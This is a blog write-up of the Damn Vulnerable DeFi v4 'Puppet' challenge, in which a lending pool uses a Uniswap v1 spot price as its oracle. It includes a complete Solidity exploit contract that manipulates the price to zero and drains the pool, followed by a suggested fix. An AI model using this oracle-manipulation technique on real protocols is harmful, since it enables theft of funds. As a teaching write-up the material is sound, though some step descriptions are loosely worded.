Damn Vulnerable DeFi V4 - 08 Puppet


Challenge

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrowed amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Pass the challenge by saving all tokens from the lending pool, then depositing them into the designated recovery account. You start with 25 ETH and 1000 DVTs in balance.

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";

contract PuppetPool is ReentrancyGuard {
    using Address for address payable;

    uint256 public constant DEPOSIT_FACTOR = 2;

    address public immutable uniswapPair;
    DamnValuableToken public immutable token;

    mapping(address => uint256) public deposits;

    error NotEnoughCollateral();
    error TransferFailed();

    event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount);

    constructor(address tokenAddress, address uniswapPairAddress) {
        token = DamnValuableToken(tokenAddress);
        uniswapPair = uniswapPairAddress;
    }

    // Allows borrowing tokens by first depositing two times their value in ETH
    function borrow(uint256 amount, address recipient) external payable nonReentrant {
        uint256 depositRequired = calculateDepositRequired(amount);

        if (msg.value < depositRequired) {
            revert NotEnoughCollateral();
        }

        if (msg.value > depositRequired) {
            unchecked {
                payable(msg.sender).sendValue(msg.value - depositRequired);
            }
        }

        unchecked {
            deposits[msg.sender] += depositRequired;
        }

        // Fails if the pool doesn't have enough tokens in liquidity
        if (!token.transfer(recipient, amount)) {
            revert TransferFailed();
        }

        emit Borrowed(msg.sender, recipient, depositRequired, amount);
    }
    // asuuming amount=100_000e18
    function calculateDepositRequired(uint256 amount) public view returns (uint256) {
        return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
    }

    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }
}

Solve

Our goal is to transfer all DVT tokens of the PuppetPool contract to the recovery account through only one transaction.

function _isSolved() private view {
    // Player executed a single transaction
    assertEq(vm.getNonce(player), 1, "Player executed more than one tx");

    // All tokens of the lending pool were deposited into the recovery account
    assertEq(token.balanceOf(address(lendingPool)), 0, "Pool still has tokens");
    assertGe(token.balanceOf(recovery), POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
}

In order to achieve this goal, we know that token.transfer(recipient=recovery, amount=POOL_INITIAL_TOKEN_BALANCE) must return a True value.

function borrow(uint256 amount, address recipient) external payable nonReentrant {
    uint256 depositRequired = calculateDepositRequired(amount);

    if (msg.value < depositRequired) {
        revert NotEnoughCollateral();
    }

    if (msg.value > depositRequired) {
        unchecked {
            payable(msg.sender).sendValue(msg.value - depositRequired);
        }
    }

    unchecked {
        deposits[msg.sender] += depositRequired;
    }

    // Fails if the pool doesn't have enough tokens in liquidity
    if (!token.transfer(recipient, amount)) { //@audit this have to be a `!true`
        revert TransferFailed();
    }

    emit Borrowed(msg.sender, recipient, depositRequired, amount);
}

However, this requires that our calculateDepositRequired(amount=100_000e18) function must return a value at least lower than 25e18, otherwise we will encounter a NotEnoughCollateral() error.

function borrow(uint256 amount, address recipient) external payable nonReentrant {
    uint256 depositRequired = calculateDepositRequired(amount); //@audit have to return a value that less than 25e18

    if (msg.value < depositRequired) {
        revert NotEnoughCollateral();
    }

    if (msg.value > depositRequired) {
        unchecked {
            payable(msg.sender).sendValue(msg.value - depositRequired);
        }
    }

    unchecked {
        deposits[msg.sender] += depositRequired;
    }

    // Fails if the pool doesn't have enough tokens in liquidity
    if (!token.transfer(recipient, amount)) {
        revert TransferFailed();
    }

    emit Borrowed(msg.sender, recipient, depositRequired, amount);
}

From observing calculateDepositRequired(amount) function, we can see that the expected return value of this function will be twice the amount value.

uint256 public constant DEPOSIT_FACTOR = 2;

function calculateDepositRequired(uint256 amount) public view returns (uint256) {
    return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
    //@audit-info      ⬆️ the price of the DVT in wei according to UniswapV1 pair
    // This can also be written:
    //    return amount * 2 * _computeOraclePrice() / 10 ** 18;
}

The challenge description tells us that the Pair contract currently has a liquidity of 10e18 ETH and 10e18 DVT tokens.

// /damn-vulnerable-defi/test/puppet/Puppet.t.sol
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
uint256 constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;

Then, the _computeOraclePrice() function would be expected to return uint256(1e18).

function _computeOraclePrice() private view returns (uint256) {
    // calculates the price of the token in wei according to Uniswap pair
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    //         ⬆️ 10e18                            ⬆️ 10e18
}

So our target became clear: If we can make _computeOraclePrice() function return a value lower than 1, then we can make the calculateDepositRequired() function return a value smaller than amount.

uint256 public constant DEPOSIT_FACTOR = 2;

function calculateDepositRequired(uint256 amount) public view returns (uint256) {
    return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
    //@audit-info      ⬆️ make this return value less then `1`
}

To be more precise, once we make _computeOraclePrice() function return 0, then the variable depositRequired will also be 0, which guarantees that we will definitely pass the NotEnoughCollateral() check.

But how to make _computeOraclePrice() function return a uint256(0) value?

Well…once we make token.balanceOf(uniswapPair) return a value larger than uniswapPair.balance * (10 ** 18), then the _computeOraclePrice() function will return uint256(0), vice versa. Here’s a simple demonstration:

╰─ chisel
Welcome to Chisel! Type `!help` to show available commands.
➜ uint256 a = 0;
➜ uint256 b = 1;
➜ uint256 c = 2;

➜ a / b
Type: uint256
├ Hex: 0x0
├ Hex (full word): 0x0
└ Decimal: 0

➜ b / c
Type: uint256
├ Hex: 0x0
├ Hex (full word): 0x0
└ Decimal: 0

All in all, we need to make uniswapPair.balance small enough, or token.balanceOf(uniswapPair) large enough, so that the _computeOraclePrice() function returns 0.

Which one is easier? the answer is to make uniswapPair.balance small enough, because the player has more assets than uniswapPair.

uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
uint256 constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 1000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 25e18;

To make uniswapPair.balance is equal to 0, we can perform some swap operations on the uniswapPair to reduce the amount of ETH held by the pair contract to 0, because the ETH balance of the player has more than uniswapPair has.

// pseudocode
uniswapV1Exchange.tokenToEthOutput(
    eth_bought=9.9e18, // `pair` retain 0.1 ethers is acceptable
    max_tokens=type(uint256).max,
    deadline=type(uint256).max,
);

Let’s summarize the attack steps:

  1. Swap with [DVT/ETH]uniswapV1Pair contract to drain the DVT token held by [DVT/ETH] uniswapV1Pair.

  2. Initiate a PuppetPool.borrow(…) function call to drain the DVT token held by PuppetPool contract.

  3. All the operations mentioned above must be implemented in a smart contract to make assertEq(vm.getNonce(player), 1) passed.

Full solution code:

function test_puppet() public checkSolvedByPlayer {
    Hack hack = new Hack(token, uniswapV1Exchange, lendingPool, recovery);

    token.transfer(address(hack), token.balanceOf(player));

    hack.exploit{value: player.balance}();
}
//====================================================================
contract Hack {
    DamnValuableToken token;
    IUniswapV1Exchange uniswapV1Exchange;
    PuppetPool lendingPool;
    address immutable recovery;

    constructor(DamnValuableToken _token, IUniswapV1Exchange _uniswapV1Exchange, PuppetPool _lendingPool, address _recovery) payable {
        token = _token;
        uniswapV1Exchange = _uniswapV1Exchange;
        lendingPool = _lendingPool;
        recovery = _recovery;

        token.approve(address(uniswapV1Exchange), type(uint256).max);
    }

    function exploit() external payable {
        uniswapV1Exchange.tokenToEthSwapOutput(9.9e18, type(uint256).max, type(uint256).max);

        lendingPool.borrow{value: address(this).balance}(100_000e18, recovery);
    }

    receive() external payable {}
}

Potential Patches

The vulnerability is in _computeOraclePrice() function: Improper use of manipulable factors as the price reference.

function _computeOraclePrice() private view returns (uint256) {
    // calculates the price of the token in wei according to Uniswap pair
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

// Insecure: price = x / y

It’s recommended to use Decentralized Price Orcale or TWAP as the price reference.

0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣